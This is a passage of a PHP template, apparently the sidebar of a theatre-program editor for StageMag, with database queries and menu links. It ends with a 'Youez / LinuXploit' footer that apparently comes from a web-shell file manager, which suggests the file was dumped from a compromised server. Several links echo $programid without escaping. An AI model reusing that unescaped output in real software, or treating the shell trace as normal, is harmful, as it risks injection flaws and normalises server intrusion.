    $dAtThisShowBadge = true;
    if ($getdupe
        && ($getdupe['atthisperformance'] ?? '') !== ''
        && ($getdupe['atthisperformancestart'] ?? '') >= $todaydate
        && ($getdupe['atthisperformanceend'] ?? '') >= $todaydate
    ) {
        $dAtThisShowBadge = false;
    }

    // Regional show listing check
    $stmtRegional = $pdo->prepare("SELECT id FROM amazonrds.regionalshows WHERE stagemagid = :pid");
    $stmtRegional->execute([':pid' => $programid]);
    $regionalCount = $stmtRegional->rowCount();

    // Guestbook flag
    $stmtGB = $pdo->prepare("SELECT guestbook FROM stagemag.productions WHERE id = :pid");
    $stmtGB->execute([':pid' => $programid]);
    $dGuestbookFlag = (int)$stmtGB->fetchColumn();
?>

                  <div class="row">
                    <div class="col-lg-3 col-xlg-2 col-md-4"  style="    padding: 0px!important;">
                        <div class="stickyside">
                            <div class="list-group" id="top-menu">
                                <a href="https://stagemag.broadwayworld.com/programedit.php?programid=<?= $programid ?>" class="list-group-item active">Edit</a>

                                                     	<a href="https://stagemag.broadwayworld.com/programedit.php?programid=<?= $programid ?>" class="list-group-item">Settings

                                                    	<a href="programedit-titlepage.php?programid=<?= $programid ?>&typer=1" class="list-group-item">Title Page


                          	<a href="programedit-cast.php?programid=<?= $programid ?>&typer=1" class="list-group-item">Cast
<?php if ($dCastCount1 === 0): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?></a>
	<a href="programedit-cast.php?programid=<?= $programid ?>&typer=2" class="list-group-item"> Creative Team
<?php if ($dCastCount2 === 0): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>
	</a>

	                          	<a href="programedit-multimedia.php?programid=<?= $programid ?>&typer=1" class="list-group-item">Photos
<?php if ($dPhotoCount === 0): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>
	                          	</a>
                          	<a href="programedit-multimedia.php?programid=<?= $programid ?>&typer=2" class="list-group-item">Videos <?php if ($dVideoCount === 0): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?></a>

	<a href="programedit-text.php?programid=<?= $programid ?>&typer=3" class="list-group-item"> Song List
<?php if ($dSongLen < 10): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>

	</a>


	<a href="programedit-text.php?programid=<?= $programid ?>&typer=1" class="list-group-item"> Opening Pages
<?php if ($dOpenLen < 10): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>
	</a>
	<a href="programedit-text.php?programid=<?= $programid ?>&typer=2" class="list-group-item"> Closing Pages
<?php if ($dCloseLen < 10): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>
	</a>


	<a href="programedit-text.php?programid=<?= $programid ?>&typer=4" class="list-group-item"> Donor List
<?php if ($dDonorLen < 10): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>
	</a>


	<a href="programedit-ads.php?programid=<?= $programid ?>" class="list-group-item">Ads
<?php if ($dAdsCount === 0): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>
	</a>
	<a href="programedit-articles.php?programid=<?= $programid ?>" class="list-group-item"> Articles
<?php if ($dArticlesCount === 0): ?>
                          	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>

	</a>


	<a href="programedit-atthisperformance.php?programid=<?= $programid ?>" class="list-group-item"> At This Show
<?php if ($dAtThisShowBadge): ?>
 	<span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">+</span><?php endif; ?>

	</a>


	<a href="programedit-pages.php?programid=<?= $programid ?>" class="list-group-item"> Modify Page Titles

	</a>

	<a href="programedit-extrapages.php?programid=<?= $programid ?>" class="list-group-item"> Add Extra Pages

	</a>

		<a href="programedit-features.php?programid=<?= $programid ?>" class="list-group-item"> Interactive Options

	</a>

                            </div>


                           <br>
                              <div class="list-group" id="top-menu">
                                <a href="" class="list-group-item active">Preview Program</a>

<?php if ($getdupe): ?>
	<a href="https://stagemag.broadwayworld.com/modern/<?= htmlspecialchars($getdupe['seo_friendly'] ?? '') ?>" target="_new"  class="list-group-item">Modern</a>
<?php endif; ?>

	<a href="preview-program.php?programid=<?= $programid ?>&magtype=2"  class="list-group-item">Classic</a>

                            </div>


                                                       <br>
                              <div class="list-group" id="top-menu">
                                <a href="" class="list-group-item active">Share Program</a>

	<a href="programedit-share.php?programid=<?= $programid ?>"  class="list-group-item" >Share Program</a>

	<a href="programedit-savethedate.php?programid=<?= $programid ?>"  class="list-group-item">Show Promo Kit <span class="label label-rouded label-custom pull-right" style="background-color:#b20223;">NEW</span></a>

		<a href="programedit-sharepdf.php?programid=<?= $programid ?>"  class="list-group-item" >PDF Program <span class="label label-rouded label-custom pull-right" style="background-color:#5b6abf;">BETA</span></a>


	<a href="programedit-stats.php?programid=<?= $programid ?>"  class="list-group-item">Stats/Subscribers</a>

	<a href="programedit-users.php?programid=<?= $programid ?>"  class="list-group-item">Add Users</a>

<?php if ($regionalCount === 0): ?>
    	<a href="/create-to-listing.php?createid=<?= $programid ?>"  class="list-group-item">Add BWW Listing</a>
<?php endif; ?>

<?php if ($dGuestbookFlag == 1): ?>
    	<a href="programedit-guestbook.php?programid=<?= $programid ?>"  class="list-group-item">Moderate Guestbook</a>
<?php endif; ?>

                            </div>



                        </div>
                    </div>
<?php endif; /* end desktop sidebar */ ?>

Youez - 2016 - github.com/yon3zu
LinuXploit